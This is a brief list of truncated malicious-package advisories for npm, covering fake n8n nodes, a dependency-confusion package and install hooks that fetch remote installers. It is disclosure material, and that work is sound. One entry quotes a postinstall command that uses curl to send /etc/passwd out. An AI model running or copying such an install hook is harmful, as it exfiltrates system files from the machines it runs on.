MAL-2026-13887 Malicious code in @years19/n8n-nodes-utils-helper-d (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 72cc0c6234ca588b2b29bf75b0f90ba24b6152f379034bb60f1956e48c6e09f7 The package presents itself as an n8n community node n8n-nodes-utils-helper-d but its actual on-install behavior is unrelated to workflow automation...

Malicious code in @years18/n8n-nodes-utils-helper-g (npm)

Source: amazon-inspector b16d7ce451e7cdf1d3486a22c2ec25e3f56651ce45e132178839e2283918183f The package's postinstall script callback.js and its declared main entry index.js, byte-identical to callback.js fetch a tarball and a get-pip installer from https://jasabersama.id over...

Malicious code in guest-app-ui (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5244faa59fb08eaa6dec10250fe2218a4909cb06ecc6ac972fda38b144f2aaef Package publishes as version 99.0.0 under a name presented in its README as an unclaimed internal name, positioning it to win dependency-confusion...

MAL-2026-5429 Malicious code in @shell-landing/routes (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6db5f32788db0c0eefee1ec8520b56ef908f8909cd79d5fdb16c2595c65f1577 On npm install, the package's postinstall hook runs node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd'...